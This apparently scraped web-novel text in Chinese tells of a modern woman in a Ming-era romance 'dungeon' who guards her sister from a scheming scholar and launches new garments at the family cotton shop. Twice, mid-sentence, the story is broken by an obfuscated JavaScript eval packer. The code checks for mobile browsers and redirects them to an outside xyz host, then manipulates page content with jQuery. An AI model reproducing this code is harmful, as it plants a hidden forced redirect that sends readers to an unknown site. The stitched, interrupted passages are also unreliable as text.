柳如琢接过茶盏,微垂眼睫:“实不相瞒,过几日小生便要进京赶考,但不愿再见母亲为我的路费奔波辛苦。这块布,本是母亲挑选为我裁制新衣之用,如今却不得不忍痛退还……并非是嫌布料不好,而是小生的无奈之举。” 这番话说得哀婉委屈,分寸拿捏得恰到好处——既显得自己孝顺懂事,又表现出一分钱难倒英雄汉的无奈。 杜含章听后,自然心疼不已。 可惜世间女子的不幸,往往正是从心疼男人开始…… 在「女主必为男主心动法则」的加持下,她更是顾不得棉庄规矩,当即吩咐:“素书,把这布退了。” 素书犹豫:“小姐,可是……” 杜含章道:“退了吧,这笔钱我来出。” “是。”素书转身出去。 柳如琢起身,郑重一揖:“多谢杜小姐体恤,小生铭感五内。” 杜含章也站起身:“柳公子不必多礼,先前我妹妹多有冒犯,也请你莫放在心上。” “怎敢……” 柳如琢道:“对了,那本《牡丹亭》我已修补完好,原想早些送还,只是听闻府上噩耗,实在不敢贸然打扰。小生虽未曾得见杜老爷风采,却久闻其行商有道,如今骤然仙逝,实在令人唏嘘……还望杜小姐节哀。” 闻言,杜含章眼眶一红,以帕拭泪。 “那日送丧,小姐于众目之下讲述染布之道,沉稳不乱,小生心中甚是钦佩……” 柳如琢语声放缓,试探道:“如今杜小姐已接管家业,想必杜老爷在天之灵,也可安息了。” 杜含章轻叹道:“家中无人,我虽力有不逮,但好在我们姐妹彼此支撑,倒也能扛下去。” 柳如琢举杯饮茶,目光闪烁,似在权衡什么。 他抬手间,袖口布料已磨破,杜含章见状,心头怜惜更甚。 柳如琢又问:“杜小姐,明日还会来吗?” “怎么了?” “过几日我就要进京赴考,那本《牡丹亭》理应物归原主。” 杜含章踌躇片刻,终是开口:“若你不嫌弃,不如将这件直裰暂留于此,我替你把袖子补一补。” 柳如琢连连推辞:“怎敢劳烦杜小姐……” 杜含章道:“不必客气,你替我修补了书,我自然欠你一个人情。况且你不是说要进京赶考吗?此次若能高中,面见各位大人,总得有一件干净得体的衣服才好。” 柳如琢含笑施礼:“那便恭敬不如从命。” 待柳如琢离去后,杜含章望着他那件青色直裰的袖口,想必那是他日复一日伏案读书磨出的痕迹。 她想了想,便在店中挑出与原料相近的布匹,打算替他换个新袖。 可她终觉这还不够,脑中又回想起,他方才提到的盘缠拮据之事。 杜含章也不是没想过借钱给柳如琢,但他毕竟是男子,若当面赠银,恐怕伤他自尊。 思及此,她忽然生出一个念头:何不将碎银细细缝入衣襟或袖内? 若他事后发现,也只能收下;若不曾发觉,权作她的一点心意随他同行。 想到这里,杜含章拈针引线细细缝补,仿佛将自己的情意,也一针一线绣进了那青衣素袖之中。 78.18 这日夜里,姜婋与杜含章照例在闺房中对账。 杜老爷去世后,许多与杜老爷交情深厚的老主顾不再上门,铺子前冷清了许多,账本上的数字也一日不如一日。 姜婋放下笔,抬眼道:“地字号店的账也下滑了不少,看来需得想个办法,让棉庄的生意回升。从明日起,我去天字号看一看。” 杜含章却迟疑着开口:“天字号店里我还有些事没处理妥,不如我再多待一天,你后天再来吧……” 烛火微明,映得杜含章眼神闪烁。 姜婋察觉她神色不对:“姐姐,可是天字号店里有人为难你?” 杜含章咬了咬唇:“不是……” 突然,脑中系统提示:“玩家,女主今日在天字号遇见了男主角柳如琢。” 姜婋眼皮一跳:“什么?这么大的事你竟不告诉我?” 系统:“女主和男主碰面之时,你正与地字号掌柜吵得不可开交,即便告诉你,你也来不及赶过去。” 姜婋强压住情绪:“姐姐,你今日可是遇见了什么人?” 杜含章见瞒不过,便说出实情,末了道:“我与柳公子约定,明日他来还书,我把补好的衣衫给他。” 姜婋一听,立刻皱眉:“你又不欠他的,凭什么给他补衣服?” 杜含章道:“当日在墨香斋,你误把他认作贼人,拉扯间撕坏了那本书,柳公子答应修补,可不就是欠了人家人情嘛。” “可人情债有很多种还法,何必要你亲手为他缝衣?” “不过是举手之劳……你为何这么生气?你好像很讨厌柳公子?” “是啊,我就是讨厌他。” 杜含章奇怪:“可你不过与他见过一面,为何如此讨厌他?” 姜婋反问:“姐姐,你与他也不过见过两面,你又为何处处为他说话?难不成,你喜欢柳如琢?” 杜含章霎时面颊绯红:“你胡说什么呢!什么喜欢不喜欢的……” 姜婋直言道:“喜欢也不必羞于启齿。只是你要想明白,你喜欢的是那个真实的柳如琢,还是你幻想中的柳如琢?” 杜含章一怔:“你这话什么意思?” “这世间女男的许多情意,皆生于‘臆想’二字。” 姜婋凝视着杜含章:“姐姐,你喜爱《牡丹亭》,那你说,杜丽娘到底是爱梦里的柳梦梅?还是现实中的柳梦梅?” 杜含章蹙眉,显然她从未细思过这个问题。 姜婋道:“在《牡丹亭》里,真正的柳梦梅,是在杜丽娘死后才登场的。两人梦中欢爱,可醒来之后,柳梦梅却当是一场春梦。若不是杜丽娘怒骂‘妾若不得复生,必痛恨君于九泉之下矣’,他怕是根本不会开棺寻尸!” 杜含章低声反驳:“可不管梦里现实,最终杜丽娘爱上的,还是那个柳梦梅啊。” 姜婋见说不通,直接将真相和盘托出。 “那如果我告诉你,柳如琢表面温文尔雅,实则自私自利,对你的殷勤示好,不过是贪图杜家的家财,等他金榜题名之时,你就是他向上攀附权贵的棋子。那你还会喜欢这样的他吗?” 杜含章倏然变了脸:“婋婋,你为何总要用最恶毒的心思去揣度他?我虽与柳公子只见过两面,但也知道他绝非如你口中那般不堪!” 姜婋无语:“不是我以恶揣度,而是你把他想得太好,甚至为他塑上了金漆神像。他在门前扶你一把,你就觉得他斯文有礼,可那是因为他先撞到了你;他答应修书,你便觉得他心地善良,可如果那书就是他故意撕坏的呢;他袖口破了,你就心疼得连店里的规矩都不顾,要帮他退货……姐姐,你虽爱看书,但那些书都是男人写的,他们自然会无限美化男子。你可要当心,别看多真信了,把脑子都看坏了。” 杜含章羞愤难当:“你……你怎么能这么说姐姐?” 脑中系统警示:“玩家,女主对你的好感度正在急速下降,请谨言慎行。” 可姜婋正气头上,哪管得了系统提醒。 “忠言逆耳啊姐姐!你可知汤显祖为何不写杜丽娘与柳梦梅成亲以后的事?因为一写下去,那就不是《牡丹亭》,而是杜丽娘的辛酸实录!那时再吟什么‘生生死死随人愿,便酸酸楚楚无人怨’,恐怕都成了——柴米油盐随人倦,冷暖自知哑口咽!” 杜含章几近拍案而起:“你怎能如此曲解《牡丹亭》?!” 系统再度提示:“玩家,你刺痛了女主心中最向往的爱情理想,请不要再说了。” 可姜婋脱口而出:“我不是曲解,而是戳穿。姐姐你不要被这故事迷了眼,等你像杜丽娘一般以身殉梦之时才后悔莫及!” 杜含章眼圈泛红:“你……你给我出去!” 姜婋霎时一怔。 * 她气呼呼地回到房中,一脚踢开门,发出一声闷响。 系统的声音随之响起:“玩家,你不该对女主发脾气。她毕竟是一个宅斗副本中的女主角。你用现代人的观念去要求她,她是无法理解的。” 姜婋怒极反驳:“系统,你别劝了,我不是一个无情的闯关机器。我是人,我有脾气!我就不明白了,这女男主之间是有吸铁石吗?怎么我一眼没看到,两个人又碰到一起去了?” 她一边走来走去,一边委屈抱怨:“我在这个副本里操心操力,又要守家产,又要提防柳如琢,怎么就没人替我想一想?” 系统的语气缓了几分:“玩家,你已经做得很好了。” 姜婋抹了抹眼角,嗓音涩然:“我知道我做得够好,可这有什么用呢?女主角非但不感激我,还把我赶出门……” 系统:“玩家,就像我之前说过的,你过于大包大揽,反而剥夺了女主的成长空间。或许有些事,就是需要女主亲自经历的。” 姜婋垂眸,喃喃道:“我只是不希望她以后后悔罢了……” 话音落下,一瞬间,姜婋又回到心流世界。 黑暗中,姜婋思绪如潮:“之前,我有个特别要好的朋友,就是那个在毕业的时候就结婚的室友。” “我大学时很迷茫,整日躲在宿舍里,是她把我揪出了宿舍,带着我参加活动,实习做科研。可她结婚后,我们每一次联系,她跟我说的只有抱怨她的丈夫。我每次都劝她逃离,但下次接起她的电话,她又在跟我说同样的事情。那一刻,我突然觉得非常可怕看,好像我的朋友已经被婚姻吞噬了,再也找不到她了……” 姜婋停顿片刻,声音低了下去:“我不希望杜含章也像我那个朋友一样……这个副本让我觉得很无力,无论我怎么劝杜含章,好像都无法改变她……” 系统:“如果你就是无法改变她呢?” 姜婋沉默。 “玩家,你还记得你为什么来到这个副本吗?” “因为我吐槽女主是恋爱脑。” 系统:“那你也该明白,杜含章人设如此。这个宅斗小说的底层设定,就是女主与男主成亲,成为当家主母,这是根植在女主角潜意识的命运主线。” 姜婋争辩:“可是我已经改变了主线的发展,我们修撰《列女传》,守护家产,经营棉庄……我以为她起码会改变一点想法,产生自己想做什么的冲动,可为什么她一见到柳如琢就像变了个人?就像我那个室友,平时成绩数一数二,可一谈恋爱就智商下线,变得不像她自己了……” 系统:“玩家,这是一本浪漫爱宅斗小说,浪漫爱是一切主线的底层逻辑。” 姜婋垂下头:“那我所做的努力都白费了吗?” 系统:“并没有。玩家,女主今天之所以生气,并不是因为柳如琢。而是因为你诋毁了她的爱情信仰——《牡丹亭》。对杜含章而言,那是她人生的模版,是浪漫爱的想象。而你却告诉她,那是虚幻,是不值得向往的。” 姜婋轻声问:“难道女主的人生之路,就是要成为杜丽娘吗?” 系统:“玩家,你是在用现代人的眼光审视女主。也许在你看来,《牡丹亭》只是一个落后的故事,可对设定在明末的杜含章而言,喜欢《牡丹亭》已是她对现实的一种温柔抗争,是她心中解放天性的隐秘叛逆。” “你生活在2025年,爱情早已不再是你人生唯一的重点。但对一个被父母之命、媒妁之言束缚的封建女性来说,哪怕只是敢于幻想自由恋爱,已是极大的勇气和进步。” 系统:“也许柳梦梅并不是杜含章真正渴望的梦中情郎,但杜丽娘,一定是她心中那个理想的自我的模板。” 姜婋垂下眼眸,低声道:“我明白了……” “这就像,我和杜含章之间隔着一条宽宽的河,两岸之间铺着石头砌成的桥。我站在桥这头回望,发现杜含章正踩在第一块石头上,觉得她走得太慢了,但对她来说,能踏上第一块石头,可能已经用尽了全部的勇气,对吗?” 系统:“是的。玩家,你在这一单元确实为女主做了很多,但为何不愿相信,她自己的力量呢?” 姜婋轻叹:“也许是我操之过急,反而忽略了她是有主观能动性的‘人’……” 此言一出,心流世界消失了。 * 这一夜,姜婋辗转未眠,心中始终放不下。 天刚亮,她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16173985|172154||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 便坐上轿子,一路赶往天字号房。无论有没有用,她都要阻止柳如琢继续蛊惑杜含章。 可行至半途中时,突然街市上一阵骚乱,轿子陡然停住。 姜婋掀开轿帘焦急问道:“怎么回事?” 巧珠道:“小姐,前面是文庙大街,这不马上要科举考试了,考生们都在求状元签呢,把前面的路给堵死了。” 姜婋心中一紧,再耽误下去,柳如琢那厮只怕已经到了。 她一把撩起帘子,跳下轿子,吩咐道:“我直接跑过去。你们打道回府吧!” 巧珠高喊:“小姐——” * 文庙大街人流如潮,姜婋快步穿行人群,耳边全是“前程似锦”“金榜题名”的祝福。 一不留神,她猛地撞上一位摆摊的小贩。 “哎哟小心——” 那小贩正提着一碟朱墨与一摞刚写好的“状元签”,被姜婋撞了个正着,朱砂墨汁泼洒而出,洇在她胸口与袖上,宛如血色。 小贩吓得连连作揖:“姑娘对不住啊,朱砂墨是我方才研好的,染上怕是洗不掉……” 姜婋擦了擦,朱砂墨反而又蹭在脸上:“无妨,我家就是卖布的,洗不掉也没事。倒是你,好不容易摆个摊,却被我搅黄了。” 她拿出钱袋子递给小贩:“那红墨我赔你——不够的话,去杜记棉庄要!” 说罢,便头也不回朝总店方向奔去。 * 姜婋气喘吁吁地跑进天字号,额角的汗珠淌下来,沾到下巴上的朱墨更像流淌的血迹了。 杜含章一回身,见她浑身是“血”,忙紧张道:“你这是怎么了?受伤了?快让姐姐看看!” 她下意识的关切,让二人昨晚的龃龉顷刻间烟消云散。 姜婋看着她眼底满是担忧,鼻子一酸,差点没忍住掉泪: “姐姐,我没受伤,就是来的路上撞到了写状元签的小贩,这不是我的血,是朱砂墨汁……” 杜含章松了口气,端来一盆净水,细细绞了帕子,替她擦去脸颊上的墨痕:“那也不能大意。你总这样飞来跑去,这次虽没摔倒却撞了人,也够危险的,以后还是一步一步慢慢走吧。” 姜婋低头不语,仿佛这帕子洗去的不只是墨迹,还有二人昨夜心头的郁结。 她低声道:“姐姐,昨晚我不该对你发火。” 杜含章语气也软了下来:“我也不该对你说那么重的话……” 她说罢便转身去洗帕子,背影里透出一丝道歉后的羞赧。 姜婋犹豫问道:“姐姐,柳如琢来送书了吗?” 杜含章拧帕:“来了。不过他已经走了。” 她回头朝姜婋莞尔一笑:“你不坐轿子,一路跑来,就是怕我见他,对不对?你放心,我是让素书代为转交的。” 姜婋怔住了:“这是为何?” 杜含章轻叹:“昨晚我思索良久,你说得没错,是我考虑不周。他毕竟是外男,我与他不该私下相见。那块布也不该违反店规给他退了,只是我既然答应,也不好食言。退布的钱,我已先垫上了。” 她说着明眸一转,“不过,我替他缝补袖口之时,倒是想出了一个法子,或许可以让店里生意回升。昨夜本想与你商量,结果你生气一打岔,我倒是忘了……” 姜婋忙问:“什么法子?” 杜含章道:“我看春闱将至,不少学子需得置办新衣,若是高中,自然要有一件衣服见世面,即便未中,也可图个好彩头。我琢磨了一夜,不如为参加考试的学子们设计一件既舒适耐磨,又端庄得体的衣服,就叫状元衫,如何?” “好主意啊!” 姜婋激动得站起身:“姐姐,我从文庙街一路跑过来,到处都是求状元签的考生。我们若推出‘状元衫’,肯定热卖!既做了,不如就直裰、袴裤、四方巾整整齐齐做一套,颜色嘛……” 她抬起自己那袖口被染红的地方:“就做成红的!” 杜含章微蹙眉:“可是大红色不是一般人可以穿的。” 姜婋眼珠一转:“我们可以把袴裤做成红色,寓意红红火火。” 她心里暗笑,这就跟高考时考生穿紫色内裤一样,图个“紫腚能行”的彩头。 杜含章听后点头:“那我们也要趁势快点做出来,若是晚了就赶不上科举了。” ——其实她心里想的是,若是晚了,就来不及送给柳如琢了。 姜婋哪里知道她心中的弯弯绕绕,竖起大拇指夸赞道:“姐姐,你真是经商奇才!” 杜含章以帕掩面,倒真是不好意思了。 79.19 两人说干就干,立刻投入设计。 这状元衫讲究的就是“吉利”二字,于是姜婋特地请马香兰出手,设计了“蟾宫折桂”、“一举夺魁”、“鲤鱼跃龙门”等几种绣样。 杜含章则从实际出发,她曾帮柳如琢补过衣服,深知衣袖处最容易磨损,于是她特意挑选了耐磨的棉布。 第一批状元衫甫一推出,学子们就争相抢购,甚至外地书院也纷纷派人前来订货。短短数日,几乎整个华亭县的考生都穿上了这款状元衫赴考。 * 杜含章知道,柳如琢定无余银购衣,便吩咐素书备下一套送去。 那布料正是那日他退的,而尺寸,杜含章因补衣早已了然于心。 素书归来时,带回了一件回礼,却满脸困惑道:“小姐,这柳公子也太寒酸了吧?咱们送他一整套新衣,他竟只回了一支旧笔。你看,这笔毛都分叉了!” 可杜含章捧着这支笔却十分珍惜,笔杆虽有磨痕,但墨香犹存,这一定是柳如琢常用的笔。 而且她一眼就看出这笔杆乃是柳木所制,正应了杜丽娘入梦之时,柳梦梅折柳相赠,暗示那句——“他年得傍蟾宫客,不是梅边是柳边。” 她甚至忍不住幻想,这支笔难道是二人的定情信物? 念及于此,杜含章心中狂跳,连忙将毛笔与那本补好的《牡丹亭》一并收入绣盒,妥善珍藏。 她在心中默默祈愿,希望柳如琢能身穿她所裁的状元衫蟾宫折桂,名动京城。 * 随着学子们踏上春闱之路,状元衫的热度也渐渐退去。 但姜婋士气大振,觉得应该趁着这势头再推出下一波——女装。 自打姜婋来到这个副本,就觉得女子的衣裳可真不方便,走快了裙摆扯脚,干活时袖子太大,生火时容易卷入火炉,写字时蹭到砚台;而且系带繁复,束得人喘不过气;每日练功之时,还有不少姐妹被裙裾裹住绊倒。 于是姜婋采访杜宅中的女子,细细询问衣物穿着的不便之处,将她们的抱怨一一记下,进行大刀阔斧的女装改良。 * 几日后,新制样衣初成。 上身袖口收束,内设可调节系带,活动灵便;下身为分裳样式,外看仍似长裙,内里却是便于行走的裤装,既利落又不失女子风姿。 姜婋试穿后,顺势打了一套拳,一招一式飒爽利落,再也不必担心练功时绊住脚。 杜含章看得眼前一亮,忍不住问:“你这不是女装,也不是男装,到底是什么装?” 姜婋笑道:“这衣裳我取名为‘自在裳’。” 为了推广自在裳,姜婋和杜含章沿用《新·列女传》的宣传策略,打算先在闺阁之内引起一波热度。她们带着杜宅的女眷连夜绘制宣传单,派送到各家。 但结果却令人大失所望,因为自在裳太过推陈出新,反而没有人敢买敢穿。 这让杜记棉庄的生意又跌入了谷底,两人消沉了好几日。 姜婋和杜含章感慨:“姐姐,看来我真是没有什么做生意的天赋,你想出的状元衫能风靡一时,我设计的自在裳却无人问津……” 杜含章鼓励她:“状元衫卖得好,是赶上了科举的热度。自在裳万事俱备,只欠东风。” 姜婋摇头苦笑:“可是东风在哪呢?” * 就在这时,适逢佛诞日,有戏班子来庙会连演几日,演的正是杜含章最喜欢的《牡丹亭》。 姜婋便游说马香兰,想带含章出门观戏,顺便转换下心情。 之前系统也说过,对于杜含章来说,喜欢《牡丹亭》已经是她作为一个闺阁女子最大的叛逆了。 姜婋也想趁此机会,真正走进杜含章的精神世界。 有道是,增进感情最快的办法,就是陪姐妹追星。(by姜婋) * 这一日,姜婋兴冲冲地跑来找杜含章,从袖中变戏法般抽出两张戏票。 杜含章惊喜:“你从哪儿弄来的?” 姜婋一脸得意:“听说今日要演《牡丹亭》的《惊梦》这一折,想着你定然喜欢,我就一早以巡店之由去排队去买戏票啦!” 杜含章虽是雀跃,又露出几分犹豫:“可……父亲丧期未过,我们这般出门看戏,会不会有违孝道?” 姜婋笑道:“今天是佛诞,普天同庆。杜老爷在天有灵,难道不愿看你安康喜乐吗?你若困守闺阁,郁郁寡欢,他反倒泉下不安。你活得自在幸福,对他来说才是最大的孝道!” 杜含章想了想,终于被说服,又问道:“那娘亲会准我们出门吗?” “今日马香兰也要出门上香,我跟她说,我们想趁着庙会看看女子们都穿些什么,也好帮自在裳找找思路。” 姜婋笑得贼兮兮,“马香兰一听与生意相关,就痛快应了。” 杜含章嗔她一眼,伸手点了点她鼻尖:“你还真是会假公济私。” 姜婋一把拉住她的手:“姐姐,今晚你就能见到你的杜丽娘了,开心吗?” 杜含章目光流转,掩盖不住的欢喜。 * 虽然得以外出看戏,但身为闺阁女子,二人仍不能现身席间,只能坐在遮帘车轿之中远远看戏。 即便如此,姜婋仍能感受到杜含章藏不住的欣喜。 自柳如琢进京应考后,杜含章日渐消沉,再加上自在裳滞销,两人都是丧气了几日。这场《牡丹亭》,着实令杜含章一扫阴霾。 姜婋心中暗想:看来追星分泌的多巴胺,可比喜欢一个幻想中的男人多多了。 爱一个人,就是要陪她看她最爱的人的演唱会。(by 姜婋) * 正当姜婋为自己的英明决策暗自得意,台上锣鼓响起,好戏开场。 戏台上,扮演杜丽娘的闺门旦缓步登场,水袖轻甩,唱道: “原来姹紫嫣红开遍,似这般都付与断井颓垣……” 唱腔婉转,观者如醉如痴。 杜含章听得入神,指尖轻绞帕子,仿佛自己置身于戏中。 台上,杜丽娘正唱道:“良辰美景奈何天,赏心乐事谁家院!” 却在此时,台下忽起一阵哄笑,一个踉跄身影闯入前排。 那人喝得醉醺醺,锦服大敞,仰头朝台上叫嚷:“好个俊俏的小娘子,唱得我心都酥了!不如下来陪我喝几盏,温存一晌眠如何啊?” 台上的杜丽娘一怔,顿时脸色惨白,嗓音一颤,却仍强撑着继续唱。 台下,观众窃窃私语,却无人敢劝。 * 轿子里,姜婋拍案而起:“这是哪个没爹养的当场耍流氓,扰我们看戏!” 系统突然提醒:“玩家,此人正是原小说中,你的官配,市舶司提举家的二公子——卢子敬。” “什么?” 姜婋气急:“原来就是这个满口污言秽语的轻狂之徒!” 戏台边,卢子敬见无人敢拦,越发放肆,竟爬上戏台,朝“杜丽娘”扑去。 姜婋忍无可忍,猛地掀开轿帘,脱下鞋子就朝他砸去! “啪——” 那鞋真是不负众望,直接打卢子敬的脸上,砸出一个大红印。 全场骤然一静,连锣鼓都顿了半拍。 卢子敬捂着脸,怒不可遏,吼道:“谁、谁敢打我?” 姜婋挺身而出,朝他劈头盖脸骂道:“打的就是你这下作东西!天打雷劈怎么没收了你这狗嘴里吐不出象牙的泼皮无赖!你个生来没爹养、死了没人埋,连猪圈都嫌你脏的腌臜货!还不快向人家娘子道歉赔罪——” 卢子敬登时气得酒醒,叉腰大喝:“赔罪?小爷我不光玩过杜丽娘,连杨贵妃都让小爷亲过!你知道我是谁吗?胆敢这么跟我说话?” 姜婋直接大步走上台:“你不就是那黑心包骨、狼心狗肺、下半身不中用,嘴上倒挺硬的卢二公子吗?”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16184178|172154||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 此言一出,台下爆笑如雷。 看客们都忍不住拍腿:“这出戏比台上的《牡丹亭》还热闹!” 卢子敬恼羞成怒:“哪里来的泼妇?小爷我今日就要教训你!” 他撸胳膊挽袖,正挥拳欲上—— 姜婋冷哼:“谁教训谁,还不一定呢。” 说罢,她拉住一旁的“杜丽娘”,两人身姿交错,翩翩而舞。 “先吃杜丽娘一袖!” 姜婋提着花旦的手臂,水袖由柔转刚,正劈卢子敬面门! 她侧头对杜丽娘一笑:“你唱你的,我打我的,两不耽误。” 那杜丽娘会意,稳稳接腔:“朝飞暮卷,云霞翠轩……” 姜婋带着花旦身姿一转,水袖朝卢子敬下盘甩去,绊他一趔趄,摔了个狗吃屎! 卢子敬趴在地上大吼:“哎呦,疼死爷了。” 杜丽娘音调不乱:“雨丝风片,烟波画船,锦屏人忒看的这韶光贱!” 姜婋趁势拉住杜丽娘,她一记飞步,甩出另一只鞋子砸向卢子敬脑门。 两个鞋印正好组成一个X。 卢子敬气得大吼:“你们疯了吗?我可是卢家二公子——” 话未说完,姜婋又一脚踹中他膝窝。 卢子敬半跪地上,早已是披头散发,狼狈不堪。 姜婋冷眼睨他:“既然二公子不肯道歉,我便与杜丽娘一道教教你。怎么样?学会了吗?” 这时,杜含章正好叫来看场的人,把卢子敬拖下台去。 台下观众却早笑得人仰马翻,齐声叫好:“值了!这回票钱花得痛快,真不白来!” * 杜含章见此早已是心惊肉跳,见姜婋平安无事地从台上下来,忙一把拉住她:“婋婋,你也太冲动了!” 姜婋满脸得意:“姐姐,我刚才骂的痛快吧?没想到和马香兰待久了,别的本事没见长,骂人的功夫倒是进步神速!” 杜含章嗔怪道:“你刚才真是吓死我了!教训那种纨绔,何必你亲自动手?我刚去叫看场的人,结果一转身,你就奔上了戏台。” 姜婋道:“那狂徒扰你看戏,还对‘杜丽娘’出言不逊,我自然要教训一下!” 当然,也是顺便替原小说的杜暮晓出气。 卢子敬闹得那一出,就像一个小插曲,戏台上的乐声继续,杜丽娘仍咿咿呀呀地唱着《惊梦》。 * 演出散场,观众陆续离去。 一抹淡粉色的身影逆流而来,穿过人群,径直朝姜婋和杜含章所在的车轿而来。 正是方才台上的“杜丽娘”,她身后还跟着一位穿着短打劲装的青衣女子。 她脸上脂粉尚在,来至轿旁,行了个礼道:“今日多谢两位小姐出手相助,若不是你们,这一场戏可就毁了,我也要被戏班子赶出去的。” 姜婋摆了摆手:“无妨,那卢子敬欺人太甚,我们实在看不下去了。” 只见“杜丽娘”咧嘴一笑,从身后的女子手中接过食盒,双手奉上。 “这点心本是我买来犒劳自己的,但我没舍得吃,如今送给你们就当是谢礼了。两位可别嫌弃,这点心是珍品斋的,需得排队好久才能买得到呢。” 她说着还舔了下舌头。 姜婋嘴上说着“不必客气”,却早被香气勾得肚子作响,干脆坦然接过,揭盖便吃。 “唔,好吃!” “杜丽娘”见状笑弯了眼,倒添了几分台上未见的娇憨。 “你们就是我的救命恩人,下次再来看戏,只管报我金桃的名字,我给你们留最好的位置!” 姜婋嚼着糕点,猛地一噎:“咳咳咳……你说你叫什么?” “杜丽娘”一脸无辜地眨了眨眼:“我叫金桃。” 姜婋大脑当场宕机! 那眼前之人不正是原小说里,杜含章未来的宅斗死敌,柳如琢纳入房中的小妾——金桃? 80.20 心念电转间,姜婋想起原小说中对金桃的描写:美艳蛇蝎。 可眼前这位金桃,憨态可掬,一派天真,甚至还有点吃货潜质,哪里看得出是书中写的欺负杜含章的毒妇啊! 这时,金桃不好意思道:“你们可能没听过我的名字,毕竟我也不是什么名角儿。” 她拉过身旁那位青衣女子,颇为自豪地介绍道:“这是我好姐妹——翠翘,是我们戏班里最厉害的刀马旦。前几日《樊梨花》《穆桂英挂帅》都是她唱的,获得满堂彩呢!就是太卖力了,嗓子哑了,所以今天没法说话了。” 翠翘望向二人,微微行了个礼。 杜含章莞尔:“可惜了,前几日我们未曾出门,错过了好戏。” 她看向金桃道:“不过金桃姑娘也不必在意什么名角不名角,名与利,本就是过眼云烟。你这出《惊梦》唱得极好,我听得出你动了真情。听着你的唱腔,我仿佛也置身于游园惊梦。” 金桃眼睛一亮:“真的吗?你真的觉得我唱得好?” “当然了。你的唱腔不加雕饰,反倒真情流露,最是动人。” 金桃惋惜道:“其实我最喜欢的一折戏并不是《惊梦》,只是客人们最喜欢听这个,所以每次都得唱这出。那一折我最喜欢的戏……也不知什么时候才能唱了。” 杜含章眼波微动:“你最喜欢的那一折,难道是——” 二人目光一触,竟不约而同地说出:“《写真》。” 金桃惊喜道:“你也喜欢这出?我还以为只有我一个人喜欢《写真》呢!” 杜含章也眼眸含笑:“我也是,没想到今日竟能遇到同道中人。” 金桃顿时兴致上来,张口便唱:“可甚的红颜易老?论人间绝色偏不少,等把风光丢抹早……” 杜含章轻声附和:“丹青女易描,真色人难学。似空花水月,影儿相照……” 一唱一和间,杜含章与金桃以戏结缘,戏里戏外,更因《牡丹亭》而情意相通。 * 姜婋站在一旁,不禁皱眉苦思——这两人,哪有半分原小说中在柳家后宅斗得你死我活的模样? 分明是惺惺相惜、一见如故的追星少女呀。 就在二人攀谈间,姜婋插不上话,只能和翠翘点头示意。 但她却目光一扫,发现翠翘穿的裤子,正是自在裳! 她连忙拉了拉杜含章的衣角,小声道:“姐姐,你看——” 杜含章顺着她的眼神看去,也眼尖认出:“翠翘姑娘身上穿的,可是杜记棉庄的自在裳?” 金桃眼神一动:“你们也知道自在裳?这就是我给翠翘买的,她穿裤子,我穿上衣。你们瞧——” 她揭开戏服一角,露出里头那件贴身上衣:“这衣裳真是好穿,我做起动作来,一点都不拖泥带水。” 杜含章掩不住笑意:“我们当然知道它好穿,因为自在裳,就是我妹妹设计的。” 金桃惊讶地瞪圆眼睛:“原来你们就是杜记棉庄的两位小姐?那我以后再去买自在裳,可否给我个交情价呀?” 姜婋朝杜含章耳语道:“姐姐,这不就是你说的那股‘东风’吗?” “东风……”杜含章恍然会意。 姜婋扬眉道:“金桃姑娘,别说优惠了,送你都成!” 金桃一愣:“这……这不好吧。” 姜婋抛出橄榄枝:“就看你愿不愿意,成为我们自在裳的代言人了。” 这时,系统提示音响起:“玩家,你与女主开启新主线【联结金桃,推广自在裳】。” * 不久后,华亭的大街小巷,铺天盖地的花招都是自在裳的广告。 画上的女子身穿一袭自在裳,水袖翻飞,正是近日风头正盛的闺门旦金桃。 她的袖角上绣着一枝未开的牡丹,旁边题字: “牡丹亭梦,自在方开。杜记棉庄新款女装——自在裳。” 围观的百姓啧啧称奇,谁都没见过这大肆宣传的架势。 “这不就是《牡丹亭》里的杜丽娘吗?” “听说前几日她在台上收拾了那纨绔子弟卢子敬,戏服里穿的就是这套‘自在裳’。” “我也要买两件,咱家那口子要是不识趣,就甩他两袖子!” * 随着《牡丹亭》的连番热演,自在裳销量水涨船高,成为闺阁与市井间最受追捧的新式女装。有了“状元衫”和“自在裳”两款爆品,原本对两位小姐尚存疑虑的几位老掌柜们终于纷纷归心。 至此,杜记棉庄上下齐心,在姜婋与杜含章的配合下,杜记棉庄销量攀升。 * 忙碌数月之后,这一晚,杜含章终于得空回到自己的闺房休息。 她拿出那支柳如琢赠送的柳木笔,以及那册修补如新的《牡丹亭》。 这本《牡丹亭》自她拿回后,一次都未翻阅过,生怕不小心再把它弄坏了,如今书脊已被细细缝补,绢纸拼接得几乎无痕。 因这段时间,她与金桃总聊起《牡丹亭》,让她也有些心痒,于是便翻书重温自己喜欢的片段。 恰在此时,一阵晚风吹过,窗扉微响。 她起身去关窗,却将那本书被碰落在地,这时,书的某一页里竟掉下来一张纸。 杜含章忙心疼地捡起来,展开那张纸,却见是一幅画像。 而画中之人几分像她,又不全是她,似在描摹她与书中杜丽娘结合的样貌。 她目光下移,却见画角落款一行小字,正是全书中最感人的那句—— “生同室,死同穴。口不心齐,寿随香灭。” 这是《冥誓》那一折,杜丽娘和柳梦梅发誓做夫妻的誓言。 杜含章怔住了。 刹那间,她心脏狂跳,原来那只柳木做的笔所代表的意思并不是她的猜测,这就是柳如琢送给她的定情信物! 